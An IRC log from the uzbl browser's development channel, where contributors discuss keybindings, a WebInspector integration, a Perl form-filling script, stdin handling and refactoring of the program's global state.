21:48 < Dieterbe> hm? why not getmail/fetchmail/imapsync/<insert one of the gazillion other apps here> ?
21:49 < barrucadu> I wanted to be able to check from anywhere, any computer, by just loading a page with an obscure URL (that was the only seurity, hence no sending)
21:49 < barrucadu> And I wanted to know how to use IMAP with PHP :)
21:52 < Phillemann> I think the latter is the most compelling reason. :P
21:52 < barrucadu> :)
21:53 < barrucadu> If you just build on the code of others all the time you won't learn how they did it, and possibly how to do it better
21:54 < DuClare> "* with PHP" contradicts with "do it better"
21:54 < Dieterbe> :)
21:54 < Phillemann> Agreed.
21:55 < barrucadu> My last statement was speaking generally :p
21:56 < barrucadu> And note the "and possibly" :p
21:56 < Phillemann> barrucadu: Well, if there's reason to do it better.
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21:58 < Dieterbe> so.. you want to be able to check your mails from anywhere, from any computer.  yes. loading up a page that has no acess control showing your mails that you first had to fetch with a half working php script from gmail is indeed much better then just loading up gmail
22:02 < barrucadu> :p
22:19 < sscj> it's just stricter about being well formed
22:19 < sscj> oh
22:20 < Dieterbe> o_O
22:21 < sscj> nvm
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22:45 < github> uzbl: Dieter Plaetinck experimental SHA1-351fd41
22:45 < github> document pulling tarballs
22:45 < github> http://bit.ly/E191u
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22:47 < github> uzbl: Dieter Plaetinck experimental SHA1-d11d9fa
22:47 < github> typo/formatting
22:47 < github> http://bit.ly/roCAO
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23:21 < sscj> how do you bind ^f and so on?
23:22 < DuClare> sscj, Type the control character in your config
23:22 < DuClare> http://hikari.serveftp.org/uzbl.conf
23:23 < DuClare> I've used ^U, ^E, ^O and ^W as you can see.
23:24 < Dieterbe> huh
23:24 < Dieterbe> how does this affect Modkey?
23:24 < DuClare> Huh?
23:25 < Dieterbe> if your modkey is alt, and you're in insert mode
23:25 < Dieterbe> can you type alt+ctrl+u ?
23:26 < DuClare> Dunno, modkey alt doesn't seem to work at all here
23:26 < DuClare> Oh, meta
23:27 < DuClare> Yes, it works
23:27 < DuClare> Works as in it runs the action I've bound to ^U
23:28 < sscj> also, how do you figure out the height of a xid?
23:28 < DuClare> xid?
23:29 < Dieterbe> xorg id
23:29 < sscj> need page_down
23:29 < Dieterbe> xwindinfo should do it
23:29 < Dieterbe> xwininfo*
23:29 < DuClare> sscj, No, you don't need page_down
23:30 < DuClare> What you need is scroll_vert 100%
23:30 < sscj> do percentages work?
23:30 < DuClare> Yes
23:31 < sscj> awesome
23:31 < DuClare> If you're running a sufficiently recent version. :p
23:32 < DuClare> http://www.uzbl.org/readme.php :)
23:32 < DuClare> Somebody crapped on the angle brackets there btw
23:32 < DuClare> Was it barrucadu making the site valid?
23:33 < DuClare> arrucadu committed 8b7b8c9e:
23:33 < DuClare> Pass page source through htmlentities() before Markdown() to fix XHTML errors on readme.php
23:33 < DuClare> -_-;
23:34 < DuClare> At this rate these "fixes" will become a legend
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23:46 < sscj> it segfaults every time I write ¤ and then hit backspace
23:47 < DuClare> Yup
23:47 < DuClare> It segfaults with multibyte characters in general
23:48  * barrucadu removes the htmlentities()
23:48 < DuClare> Devoid of unicode support, input methods, etc.
23:50 < barrucadu> Some of the angle brackets are encoded as &gt; and &lt; in the parsed README, some are not. Why?
23:50 < barrucadu> "uzbl --config <filename>: <filename>" isn't
23:50 < DuClare> uzbl --config <filename> is not a code block
23:51 < DuClare> Surround it with backticks
23:55 < sscj> are there any plans on adding some sort of scripting language to handle some soft of :ex mode? like io or lua
23:56 < DuClare> Nope
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23:57 < DuClare> I don't see what that'd bring over the use of external scripts
23:59 < Dieterbe>  DuClare> It segfaults with multibyte characters in general <-- oh ? didn't know that.. can you report it as a bug?
23:59 < Dieterbe> i'm gone
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00:00 < Dieterbe> see you tomorrow guys
00:00 < DuClare> o/
00:01 < DuClare> I might consider reporting it.  But in general I haven't seen the necessity of bugreps at this stage as most bugs are caused by plain incompleteness and things break and get fixed all the time
00:02 < Dieterbe> well, code should be stabilizing now
01:04 < sscj> about the bindings
01:04 < sscj> would it be possible to run all commands that trigger?
01:05 < DuClare> ...huh?
01:05 < sscj> so if you had 'bind F* = js highlight(%s)'
01:05 < sscj> and 'bind F_ = js open_highlighted(%s)"
01:06 < sscj> if you type F, both are triggered
01:08 < DuClare> _ is only evaluated when you hit return, and that's the point of it
01:09 < sscj> I know
01:09 < DuClare> But hmm, there's an idea
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01:10 < jouz> sscj: you mean, you want the last one (when you hit enter) to to something else than the first one(s)?
01:11 < DuClare> If that's what he meant, then I can probably implement that tomorrow
01:11 < sscj> jouz: exactly
01:12 < jouz> its possible to capture the keyup-event of the enter key, if that helps...
01:12 < jouz> (i do that in the linkfollowing scripts with the ESC key)
01:13 < sscj> what linkfollowing script?
01:13 < DuClare> examples/scripts/follow_Numbers*js
01:13 < jouz> its in examples/scripts/follow_Numbers.js
01:13 < jouz> :)
01:14 < DuClare> I'll look into it if I have the time tomorrow.  Good night o/
01:14 < DuClare> Today, technically..
01:14 < jouz> ^^
01:14 < jouz> what are you guys trying anyway?
01:14 < DuClare> About him I don't know :>
01:14 < DuClare> →
01:15 < jouz> kk, cu
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08:17 < Dieterbe> morning guys
08:17 < rob|> hey dieter
08:18 < rob|> hmm, i have a crazy idea..
08:19 < Dieterbe> uh oh
08:19 < Dieterbe> fire!
08:20 < rob|> what if we'd export the DOM using our config current "config system", this would mean scripts or any external tools could modify the document
08:20 < rob|> similar to what you currently can only do with javascript
08:21 < rob|> you could get and set DOM key and values
08:21 < rob|> and well interact in any other way with it
08:22 < Dieterbe> sounds good.. but. webkit has no C bindings for their DOM. so do you suggest just passing the entire html source to scripts? (note that JS can modify the DOM)
08:23 < Dieterbe> also you would have to reload the page to render the modified content, no?
08:24 < rob|> well, i hoped there is some way to query the DOM from webkit
08:24 < rob|> without js
08:25 < Dieterbe> there's not ,afaik
08:25 < rob|> that's a pitty, that would have been a nice interface
08:26 < sscj> isn't there a way to have two execution levels for js, one that is exposed to html content scripts, and one that can print and call the system?
08:37 < rob|> hmm, not sure how well that would work (if possible at all)
08:43 < Dieterbe> i don't think you can have js code that does anything with/to the system. eg i think it's sandboxed
08:53 < Dieterbe> sscj: so how is your perl version of the formfiller going ? :P
08:54 < sscj> I'm too busy procrastinating
08:54 < sscj> :V
08:55 < Dieterbe> :P
08:55 < Dieterbe> i modified the bash one and other then that the regex doesn't always work i think the script works fine now :)
09:24 < rob|> pushed, export more WebKitWebSettings through the variable interface
09:25 < rob|> things like toggling autoloading of images, javascript, etc. work now
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09:28 < Dieterbe> oh la la
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09:37 < rob|> should we support webkit's webinspector?
09:37 < sscj> why not?
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09:39 < rob|> because it's gui only
09:39 < sscj> so is uzbl :V
09:41 < rob|> i mean it's controllable only through the gui
09:47 < Dieterbe> you guys have anything to add to the "default settings" thread on the ML ?
10:01 < rob|> no, i guess everything has been said already
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10:11 < sscj> are there any plans for a :ex mode?
10:12 < Dieterbe> what's an :ex mode?
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10:12 < barrucadu> Hi
10:13 < Dieterbe> hey B
10:16 < sscj> Dieterbe: vim -c ':help ex-mode'
10:18 < Dieterbe> i don't get why we would need that
10:18 < Dieterbe> from our command mode you can enter any keybind/command you want
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10:23 < DuClare> Morning
10:25 < Dieterbe> Hi Henry
10:26 < Dieterbe> Henri*
10:27  * barrucadu makes a mental note that DuClare is "Henri"
10:28 < barrucadu> I'll have forgotten in half an hour <.>
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11:13 < sscj> how come I cant do 'cat page.html | uzbl'?
11:13 < DuClare> Because from stdin it reads commands
11:13 < DuClare> Not websites
11:14 < sscj> i suggest a switch that enables it to read stdin as renderable content
11:16 < DuClare> Sounds inconsistent.  Is there no other method?
11:17 < Dieterbe> hmm i dunno, with a switch i sounds good to me
11:19 < DuClare> Is it better than loading the page from file directly?
11:19 < DuClare> Such a switch would interfere with my configuration mechanism, as some per-instance specific settings are sent via stdin
11:20 < jouz> has anybody here a rough imagination if/how we could realize that whenever my cursor hits an html-text[field], uzbl goes to insert-mode (vimperator did this, and i think that would be a nice option)
11:21 < DuClare> I fear we're already trying to push the limits of webkit :x
11:22 < jouz> yeah, i checked the webkit api for related signals, but i found nothing...
11:24 < jouz> we need a lobby in the webkit-dev, to better express our needs ;)
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11:46 < sscj> ugh, my monitor is on it's last legs
11:46 < sscj> the top right corner gets "burn ins" after just a few minutes
11:46 < sscj> top left
11:48 < rob|> pushed, support for WebInspector.  http://www.uzbl.org/wiki/_media/uzbl_webinspector.png
11:50 < sscj> cool
11:50 < jouz> thats awesome!
11:55 < rob|> :)
12:02 < jouz> stupid question, how do i start it up?
12:04 < rob|> right click
12:04 < rob|> and "Inspect Element"
12:06 < jouz> :D some things are to obvious, thanks!
12:06 < rob|> will add actions to fire from keybindings and scripts later..
12:07 < sscj> is there some way to register functions to the context menu?
12:07 < rob|> yeah, iirc there is
12:10 < Dieterbe> DuClare> Such a switch would interfere with my configuration mechanism, as some per-instance specific settings are sent via stdin <-- really? afaik we agreed to just launch the new instance with the same --config flag and not pass on options that are entered through stdin
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12:14 < Dieterbe> barrucadu: what do we have to do with those emails "uzbl-dev post from foo requires approval" ?
12:15 < Dieterbe> hmm the previous time i had such a mail the person was already a member
12:15 < Dieterbe> now we got a mail for someone who's not a member yet
12:24 < rob|> hmm, shall i add a cmd line option so we can start with only webinspector? like: "uzbl --inspector --uri foo"
12:26 < Dieterbe> rob|: on your screenie (http://www.uzbl.org/wiki/_media/uzbl_webinspector.png ), is that 1 big fat window or 2 sep windows?
12:26 < rob|> 2 windows actually
12:27 < Dieterbe> good
12:27 < Dieterbe> rob|: i'm thinking more about a config setting: set inspector_visible = 1
12:28 < Dieterbe> rob|: and we could also do : set page_visible = 0 :P
12:29 < rob|> hmm, don't you thing an option would be the better choice here?
12:29 < rob|> anyways, there will be variables to show/hide the inspector window
12:30 < rob|> and actions, 'bind I = inspector" or something like that
12:30 < Dieterbe> i think commandline options are less powerful then configuration settings, and should usually be avoided
12:30 < jouz> Dieterbe: default loading the inspector for every instance is too much. If some debugging is > 0, enable the dialog in the rightclick-menu...
12:31 < Dieterbe> jouz: i didn't mean loading the inspector for every instance. i just mean _if_ you want to programatically show it (eg not by clicking with the mouse), you could `set inspector_visible = 1`
12:31 < jouz> ah ok
12:34 < DuClare> I think I sent something to the list.
12:34 < DuClare> Dieterbe, Simply passing --config is not enough.  We need to be able to define a launcher
12:34 < jouz> yes indeed :)
12:35 < Dieterbe> DuClare: #define defining a launcher?
12:36 < DuClare> Dieterbe, set launcher = spawn $HOME/.uzbl/launcher
12:36 < DuClare> When uzbl wants to open a new window, it calls the launcher
12:37 < Dieterbe> DuClare: hmm and the advantage would be that the user can customize arguments, --name things et al?
12:37 < DuClare> Dieterbe, That, and my launcher for example does session management and cleanup
12:37 < Dieterbe> DuClare: can you share your launcher?
12:38 < DuClare> It's too incomplete at this point :>
12:38 < DuClare> Well
12:39 < Dieterbe> just show it so i can get an idea kthxbye :)
12:39 < DuClare> I removed some parts yesterday, gotta rewrite them sometime soon.  Now it only assigns a name and dir and cleans up when the instance is done. http://hikari.serveftp.org/launch.txt
12:41 < Dieterbe> hmm well it's an interesting idea
12:41 < jouz> I just wrote a very useful script. Anybody intrested in flipping the whole rendered content upside-down?
12:42 < DuClare> Now that env vars are expanded in the config, I could use that for fifo_dir though..
12:42 < DuClare> But the script still has its use
12:45 < sscj> so that is why we can't have "curl $url | sed | uzbl"?
12:47 < Dieterbe> sscj: what is why we can't..?
12:48 < sscj> DuClare complained that reading content from stdin would mess with his configuration mechanism
12:51 < Dieterbe> DuClare: sscj : imho both have nothing to do with each other. suppose you add a flag '--render-stdin', which if used will render stdin. so? if you want to start a new instance you are usually starting it because you want to display an _other_ page, so you don't need to render stdin anyway
12:55 < sscj> don't know much about user habits, I just think that doings "curl $url | uzbl" is a very unixy way of using a browser
12:56 < Dieterbe> ..and we can support that, by using a --load-stdin flag
12:57 < DuClare> echo "set transformer = sh 'curl $6'" | uzbl -u url  ;)
12:57 < thesnowdog> jouz: @ insert mode. Can't you just monitor focus events and then test for element type?
12:57 < DuClare> Not that I really care
12:58 < DuClare> Dieterbe, A more familiar convention would be to use - to denote stdin
12:58 < DuClare> curl $url | uzbl -u -
12:59 < jouz> thesnowdog: yes thats easy, but we have no interaction from a js-script to uzbl, so we cant change the modes just using js :(
13:00 < thesnowdog> Ah, so there's no bridge? :(
13:01 < jouz> no, we can just execute a script, but we dont get feedback..
13:01 < DuClare> I think we *could* get feedback via the debug console.  But that's fugly, and also a security risk
13:02 < jouz> indeed. again, its just waiting for dom-bindings i guess.
13:04 < sscj> there seems to be two execution contexts for js code; document and worker
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13:08 < DuClare> sscj, Where are you getting that from?
13:08 < sscj> browsing around the webkit nightly sauce
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13:43 < Dieterbe> sauce. lol :)
14:01 < rob|> DuClare: http://github.com/robm/uzbl/commit/cc614ab8e6ab94b79c7debb2315b4d69da439cee
14:01 < rob|> and Dieterbe of course
14:02 < rob|> basically this allows to do things like: 'bind XY _ = set status_message = %s'
14:02 < rob|> and avoids code duplication
14:03 < sscj> neat
14:03 < rob|> bind o _ = set uri = %s
14:03 < DuClare> Good, but I want to get rid of parse_cmd_line when we merge the commands & actions
14:06 < Dieterbe> looks cool
14:06 < rob|> hmm, i'd say we should get rid of the actions and use variables for them and keep a minimal action interface, actually just this set thing
14:07 < rob|> Duclare: e.g.: set scroll_vert = 20%  and "bind xy = set scroll_vert = 20%"
14:08 < DuClare> rob|, What would you get when you do get scroll_vert?
14:09 < rob|> the last written value
14:09 < rob|> scrolled by value, that is
14:10 < DuClare> Well, let's see
14:10 < DuClare> If we can make every action like this, then yes
14:10 < DuClare> But if every action is "set ..." then we could get rid of the set as well
14:11 < rob|> sure
14:11 < DuClare> If we merge commands & actions, one would "set bind xy = set scroll_vert = 20%".. <,<
14:11 < DuClare> So we drop the sets and it becomes "bind xy = scroll_vert = 20%
14:11 < rob|> no, bind ... = set ...
14:11 < DuClare> Why can't we merge these concepts?
14:12 < rob|> oh, sry. misread
14:14 < rob|> this does not mean we can drop 'set' altogether, though
14:14 < DuClare> Why?
14:15 < DuClare> http://hikari.serveftp.org/p1010546.jpg
14:19 < DuClare> rob|, Imho we make everything an action (so technically everything is a "set ..." but we can hide it) or keep the distinction we have
14:19 < DuClare> If some are "sets" but some are not, then I don't see the point of making most things "sets"
14:22 < Phillemann> DuClare: Is that photo recent? It's like +30 degrees celsius over here. :D
14:23 < rob|> well, imo this set/get interface (with or without the "set" keyword) is extremly easy to use and to understand
14:23 < rob|> all commands and actions basically assign a value to a property and in some cases do a bit more
14:25 < DuClare> rob|, Yes, I get that
14:25 < DuClare> We should be able to drop some concepts if we do that
14:25 < DuClare> Phillemann, Yes, it's recent
14:26 < DuClare> Taken less than 30 minutes ago
14:26 < DuClare> +15°C here.
14:26 < igglyb> DuClare, it rains hailstones here now, too
14:26 < DuClare> :)
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17:10 < DuClare> rob|, After merging from you, setting font_size is no longer effective when using -c :x
17:10 < DuClare> Our variable gets set but webkit doesn't care
17:11 < DuClare> Reloading the config or getting it via stdin works
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18:18 < sscj> Dieterbe: http://pastie.org/488168
18:18 < Dieterbe> holy moly
18:19 < barrucadu> For the perl illeterate in here... mind explaining what it does?
18:19 < sscj> heh, I can hardly read perl myself :V
18:19 < barrucadu> I'm hindered by the sun shining on my screen :p
18:20 < sscj> but when invoked with "new", it will download the current url and extract all the input forms
18:20 < sscj> and write them to a file and open your editor so you can add the form information
18:21 < barrucadu> Wow
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18:23 < sscj> you'll need perl-html-parser, though
18:30 < sscj> the main difference between this one and the other formfiller is that it can click the submit button for you
18:30 < sscj> and the saved form info looks a little nicer
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18:53 < sscj> tidied up version http://pastie.org/488201
18:53 < Dieterbe> sscj: the bash version had the problem that it made the submit button really tiny
18:53 < Dieterbe> is that fixed?
18:54 < sscj> it did?
18:54 < Dieterbe> yeah
18:54 < Dieterbe> eg on the arch wiki and/or arch forums i always had it
18:55 < sscj> don't know why it would do that. but this version automatically clicks the submit button as long as you have a named submit input form in the file
18:57 < Dieterbe> does the perl-html-parser dep imply one needs to install extra perl packages? eg with just base perl it does not work?
18:57 < sscj> yes
18:58 < Dieterbe> can we avoid that? is it much work to not use perl-html-parser and do some basic parsing ourselves?
18:58 < barrucadu> Dieterbe: I don't really see the problem, as it's not a dep of uzbl, but an optional script.
18:59 < barrucadu> Implementing a parser would be a little overkill, I think
18:59 < barrucadu> Even a basic one
19:00 < Dieterbe> in the current bash script the parsing is 1 line.
19:01 < barrucadu> So let the user use the bash script if they don't want an extra dep
19:01 < Dieterbe> maintaining 2 different scripts that do the same thing would be a bit silly, don't you thinkL
19:02 < Dieterbe> let's just hear the response of sscj before drawing conclusions prematurely
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19:05 < sscj> let whoever wants to use the perl script without the extra dep write the parser code
19:14 < Dieterbe> well, suppose i am that whoever then
19:14 < Dieterbe> how much work would it be?
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19:16 < barrucadu> I've found it doesn't work properly on phpBB forums (it submits the form, but you're not logged in), or vB forums (doesn't submit the form)
19:17 < Dieterbe> phpBB forums (it submits the form, but you're not logged in) -> maybe it requires cookies
19:17 < Dieterbe> barrucadu: can you try another browser? disable cookies, submit forms and see if it works
19:17 < barrucadu> I'm able to use phpBB forums in Uzbl
19:18 < barrucadu> So it can't be cookies...
19:19 < Dieterbe> well, set http_debug to 3 and compare the http headers between manual form submit and automated one
19:20 < sscj> barrucadu: with the perl formfiller?
19:21 < barrucadu> yes
19:24 < barrucadu> The perl formfiller appends a session ID parameter to the form action. Script: "POST /ucp.php?mode=login&sid=1f51b578e03cb1e9015c6e3ad695bd52 HTTP/1.1", manual: "POST /ucp.php?mode=login HTTP/1.1"
19:27 < sscj> hmm, must be some kind of bot prevention thing
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19:28 < barrucadu> And on vbulletin forums, it just fills out the fields that's it
19:29 < barrucadu> *and that's it
19:36 < sscj> comment out the submit form and click the button manually for the time being
19:46 < barrucadu> I've just noticed the link following script works with submit buttons, I don't have to use the mouse for forms :)
19:47 < sscj> come to think of it, would it be possible to implement something like "bind XXX = spawn script.sh $(js function(YYY))"?
19:47 < sscj> since then you'd be able to call scripts with json values
19:47 < DuClare> The problem is, js doesn't return anything
19:48 < sscj> oh :(
19:49 < DuClare> And as long as we use the API webkit provides by default, there's no way we can get returns
19:53 < barrucadu> sscj: Also, it doesn't grab the form elements from facebook
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19:57 < sscj> ugh
19:57 < sscj> damnit
19:59 < sscj> barrucadu: you have to fake the user agent for curl
20:00 < sscj> I changed downloader to "curl -s -A 'mozillas ua'" and it worked
20:01 < barrucadu> On Twitter using it causes Uzbl to die with the error "** ERROR **: Fifo: Error reading: Invalid byte sequence in conversion input"...
20:01 < barrucadu> ok
20:10 < barrucadu> sscj: On anime-planet it doesn't seem to do anything: spawned: '/home/barrucadu/.config/uzbl/scripts/formfiller.pl' '/home/barrucadu/.config/uzbl/config' '24073' '27262979' '/home/barrucadu/tmp/uzbl/uzbl_fifo_27262979' '/home/barrucadu/tmp/uzbl/uzbl_socket_27262979' 'http://www.anime-planet.com/login.php' 'Login - Anime-Planet' 'load' -- result: true
20:10 < barrucadu> No file, editor appearing...
20:13 < barrucadu> Nor do the fields get filled in if I make the file manually
20:13 < barrucadu> Could it be the hypen in the URL?
20:15 < sscj> barrucadu: yes
20:15 < sscj> just noticed that
20:24 < barrucadu> Doesn't grab the input elements on google analytics login :(
20:25 < barrucadu> Hmm, that would be because the page source contains no input elements
20:25 < barrucadu> Must be done with javascript
20:25 < barrucadu> Must be an anti-bot thing :(
20:29 < barrucadu> Link following doesn't work within google analytics either. Damn google :p
20:30 < barrucadu> In fact, Uzbl just doesn't work with google analytics. I'd imagine it's cookies
20:30 < sscj> I keep getting error #6411 on gmail
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20:38 < DuClare> I keep getting an invalid response from gaymail
20:39 < jouz> barrucadu: could you provide a link to the google-analytics page where linkfollowing doesnt work?
20:39 < barrucadu> barrucadu: It's the internal pages, so unless you have a google account no
20:40 < jouz> barrucadu: ah ok
20:40 < barrucadu> *jous:
20:40 < barrucadu> *jouz:
20:40 < barrucadu> arg
20:40 < jouz> ^^
20:40 < barrucadu> Clearly I didn't have enough sleep last night
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21:40 < DuClare> Finally, I can handle mail with mutt
21:51 < M2tias> :o
21:57 < DuClare> (Is there something better to replace gmail?)
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22:10 < jouz> I use mutt with my gmail-accounts, too. I dont think there are much better replacements...
22:12 < jouz> (with offlineimap, though)
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22:26 < DuClare> Meh
22:26 < DuClare> Clicking a link opened four instances <,<
22:29 < rob|> hmm, this area needs more devotion. we could probably make use of WebKitWebPolicyDecision
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22:54 < Masca> Hello. =P
22:55 < Masca> I have been outside last 4 days, how are things going on here?
22:56 < rob|> hey masca
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22:58 < Masca> So, how did you do with the split?
22:58 < rob|> we didn't do anything about it, yet..
22:58  * Masca is just going to fetch diet's experimental.
22:59 < Masca> rob|: why so?
23:03 < rob|> for no particular reason, nobody cared to do it as it seems ;)
23:03 < DuClare> Nobody considered so important to spend enough time on it.
23:03 < DuClare> :>
23:03 < Masca> heh
23:04 < DuClare> Masca, Did you see the mailing list yet?
23:04 < Masca> Yep. I registered myself yesterday.
23:04 < Masca> I'm just reading it.
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23:10 < Masca> Last time I heard diet tried the split and failed because of global variables.
23:10 < Masca> What do you think in splitting Uzbl struct too.
23:11 < Masca> ?
23:13 < rob|> in which way?
23:15 < Masca> We can have state.h and then uzbl_get_state() wich return a State* and use that for every function that needs some info from the state.
23:15 < Masca> And so on for every other bit in that struct.
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23:16 < DuClare> What's the benefit of that?
23:17 < Masca> It's a easy way to mess with 'global' variables without needing to have everything in the same place.
23:17 < DuClare> Uhm..
23:23 < Masca> Ohh a new fork in the network
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23:28 < Masca> Ok. Who's experimental is the one I want to pull?
23:29 < DuClare> Probably diet's
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23:30 < Masca> Nice, I'm not going to read all commits since my last one. =P
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23:35 < Masca> DuClare: I can start with those changes in a new split branch if you all are ok with that.
23:36 < DuClare> Sure, do it
23:43 < Masca> Mmm git gui is nice. =P
23:57 < DuClare> That sounds contradictious.
23:57 < DuClare> Doubly so.
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00:07 < Masca> Do you mind if I change State => UzblState ?
00:09 < rob|> Masca: i don't really see the benefits of passing the structure around in contrast to just access it, it's global after all
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00:09 < mxf> hey there
00:09 < rob|> hey mxf
00:10 < mxf> this looks like an awesome project! do you mind me lurking here? ;)
00:12 < Masca> rob|: it's headed to avoid the need to set the global struct everywhere (I'm thinking in the splitted code).
00:12 < rob|> Masca: well you wouldn't need to
00:13 < Masca> huh?
00:14 < rob|> extern Uzbl uzbl; in uzbl.h
00:16  * Masca thinks about that one.
00:17 < rob|> well, it basically makes 'uzbl' accesible from every source file including uzbl.h
00:18 < Masca> Sure, it does.
00:21 < Masca> I was thinking in, moving the State struct to state.h and do everything that changes the state in state.c and if someone needs something from the state can uzbl_state_get() or just uzbl_state_verbose() etc.
00:21  * Masca is thinking in modular code.
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00:27 < rob|> hmm, ok. looking forward to see your commit
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00:43 < Masca> Let me nopaste "the idea".
00:44 < rob|> ok
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00:49 < Masca> http://rafb.net/p/8XDQqz79.html
00:51 < Masca> http://rafb.net/p/jWhfuU17.html   <-state.[ch]
00:58 < rob|> hmm, so you basically suggest to pseudo-encapsulate access to the scructs?
00:59 < Masca> At the beginning, yes. Then I will track every function that change status and move it to status.[ch]
01:00 < Masca> And so for each "module". I don't mean 1 module per struct.
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01:05 < rob|> well, what do the others think about this? duclare, dieter?
01:06 < rob|> in my opinion it is a lot of code for just setting or reading a variable and not at all more modular than what we've got now. it just puts another layer around variable assigments
01:08 < DuClare> I'm not in favor of encapsulation
01:08 < DuClare> There's only one uzbl "object", so why do you need to pretend you have objects that need to be handled via accessors
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01:09 < DuClare> As rob said, it's just another layer and in this case pointless because the global object is always the same
01:13 < Masca> Well, I kinda agree. I guess the state struct doesn't help a lot. I'm thinking more about uzbl_state_uri_change(), this kind of functions is what I was thinking about.
01:13 < Masca> All that get/set was just.. because of it's there. =P
01:27 < rob|> what's wrong with 'set_var_value("uri", uristring);' do we need wrappers around this function?
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01:32 < Masca> rob|: you mean uzbl_state_new()? It's suppoused to strip stuff from main()
01:33 < rob|> no, i mean your uri_change example
01:33 < Masca> Since uname stuff is only needed for state stuff. I moved the include and call function to state.[ch]
01:34 < Masca> ahh sorry, I missread with the uname stuff.
01:35 < Masca> we dont *need* the wrapper but. with this kind of stuff it's possible to avoid mem leaks from not freeing the uri before setting it again.
01:35 < Masca> Sometimes I know I want to set some string but forget to free it before. =(
01:36 < rob|> well, set_var_value() takes care of that. it works a bit like g_object_set
01:37 < Masca> Mmm that's true. I forgtot about set_var_value()
01:39 < Masca> hehe I wrote that function because I found the free->set bit in load_commit_cb.
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03:47 < Tel_Janin> How do javascript download links work? Like gmail.
03:47 < Tel_Janin> the stock download script can't handle it, apparently
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03:56 < the00z> hi people
03:56 < Tel_Janin> 'llo
03:56 < the00z> hi have managed to compile uzbl on OpenBSD
03:57 < the00z> I have*
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04:05 < the00z> but I think that the preprocessor don't like stdout has a variable name
04:11 < the00z> i needed to make some changes to make it work : http://github.com/00z/uzbl/tree/the00z
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08:28 < sscj> Dieterbe: http://pastie.org/488771 <- perl-html-parse free version
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09:19 < Dieterbe> moning ladies
09:19 < Dieterbe> morning*
09:19 < Dieterbe> monday--
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09:24 < rob|> heya
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09:34 < Dieterbe>  sscj> Dieterbe: http://pastie.org/488771 <- perl-html-parse free version <--- looks good but:
09:34 < Dieterbe> we should really avoid fetching the page again through perl, for at least the following reasons:
09:35 < Dieterbe> 1) javascript inside the browser can have changed the form fields (or added some)
09:35 < Dieterbe> 2) you could have a session in your browser, or being logged in with basic http authentication or.... and hence, be able to see a page you wouldn't be able to see when fetching perl
09:36 < Dieterbe> so ideally, we need a way to transfer the "current DOM" (which may be modified by JS) to the script
09:36 < Dieterbe> sscj ^^
09:41 < rob|> well, according to alp toker there is a DOM gobject on the way
09:42 < Dieterbe> allright
09:42 < Dieterbe> Mr Toker is the best
09:42 < Dieterbe> linkie?
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09:43 < rob|> ahm, found it on his blog. a pdf from a (gnome?) presentation
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09:44 < rob|> heh
09:44 < Dieterbe> oh, i think i've seen that pdf too
09:44 < Dieterbe> but his goals/ideals from back then may (or may not) have changed since then
09:46 < rob|> hopefully not, a DOM object would be perfect for our use case
09:46 < sscj> Dieterbe: I know, but it's the only solution I could think of
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09:50 < Dieterbe> amen railk 
09:50 < Dieterbe> eurr hi railk , bogus hilight
09:50 < Dieterbe> amen rob| 
09:51 < railk> heh... hi
09:51 < rob|> did anyone play more thouroughly with the webinspector? seems to have some nifty script testing/replaying features
09:54 < Dieterbe> not me
09:56 < Dieterbe> oh btw sscj , you will put your scripts in your github clone right? it works better for us then having to download from a pastie site
09:57 < rob|> and the wiki :p
09:57 < sscj> I'm a bit of a git noob
09:57 < Dieterbe> on the wiki is not really needed since i plan to merge them in as official example scripts
09:57 < rob|> along with a nice shot, makes things more accessible :)
09:58 < Dieterbe> sscj: learn it then :P
09:58 < sscj> I will
09:59 < sscj> just saying, that's why I haven't put it on my github
09:59 < rob|> i still think we should document the default scripts on the wiki, it's just a great place for such things
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10:00 < Dieterbe> rob|: hmm yeah good point. 
10:01 < rob|> i'd also put the FAQ on the wiki, so people can extend it
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10:20 < railk> could it be that cli options are applied before config file options? it's just i'd like to use the --uri option, but it only ever shows the page set in the config...
10:21 < Dieterbe> yep that's exactly what happens
10:21 < Dieterbe> we need to fix that  but i'm still not sure what is the correct /cleanest way to do it
10:35 < DuClare> Morning.
10:36 < rob|> hey DuClare
10:39 < Dieterbe> hello
10:39 < DuClare> I had this strange dream
10:40 < DuClare> I was refactoring some code and things broke a little, so I started debugging by printing some scripts' arguments to a file
10:40 < Dieterbe> uhu
10:40 < Dieterbe> sounds familiar :P (cookie handler anyone? :P)
10:41 < DuClare> Then my alarm clock rung, I stared at the screen for a moment, cursing that the debug output was wrong.  Without thinking I pressed snooze and went back to bed to fix the code.  This went on for an hour.. always wrong output
10:42 < DuClare> Finally I realized what was happening and got up
10:42 < Dieterbe> hahaha
10:42 < Dieterbe> you're talking about your real life alarm clock right?
10:42 < DuClare> Yep
10:42 < Dieterbe> amazing
10:53 < rob|> re. the uri thing, the problem is that '-u' and the commands use the same place to store values. so using a separate var for '-u' and doing 'if(dash_u_var) load_uri(dash_u_var)' should fix the problem, right?
10:55 < rob|> hmm maybe not
10:55 < Dieterbe> true, but i can imagine url is not the only thing we want to have the cmdline arg one overriding the conf one
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10:55 < barrucadu> hi
10:56 < Dieterbe> on 1 hand we need to parse commandline args very early in the process (eg to get --config, set --verbose etc), but on the other hand a few vars (such as url, verbose) should override things set from config/stdin
10:56 < Dieterbe> hey barrucadu 
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10:57 < rob|> hmm, priority queues
11:00 < Dieterbe> hmmm.... can we implement them in a simple way?
11:02 < rob|> not sure wether it's worth the effort
11:03 < Dieterbe> yeah
11:03 < rob|> also how should the logic work? cosidering all input channels work in an asynchronous way..
11:04 < Dieterbe> config file/stdin < cmd arg < socket/fifo
11:04 < rob|> i.e. you can't realibly determine wether a var was set before or after program start
11:05 < Dieterbe> you know when you close stdin (or if it was never opened)
11:05 < rob|> we also open it and keep it open
11:05 < rob|> s/also/always/
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11:06 < Dieterbe> you sure?
11:06 < Dieterbe> but either way, we always close it when stdin processing is done, no?
11:07 < rob|> no, how would you know when it's done?
11:07 < Dieterbe> when you get EOF
11:08 < railk> not sure how arg parsing works with the whole GOptionContext thingy, but couldn't you directly "execute" the args as you parse them, i.e.if a -config comes, parse it as if it were "inline"... or something? this would allow later args to override earlier ones, specifying multiple configs & more...
11:08 < rob|> running "uzbl" never gets EOF, i.e. you can type commands into the terminal as long as uzbl is running
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11:09 < Dieterbe> rob|: and they are fed into stdin?
11:09 < rob|> sure
11:10 < Dieterbe> hmm i did not know that. i thought in that case the shell would not feed anything into the process' stdin at all
11:10 < Dieterbe> railk: yeah that would work for --config, but not for a config coming in through stdin
11:10 < rob|> railk: the point is we can't determine which commands come in which order over the different input channels as these are asynchronous
11:11 < railk> ah
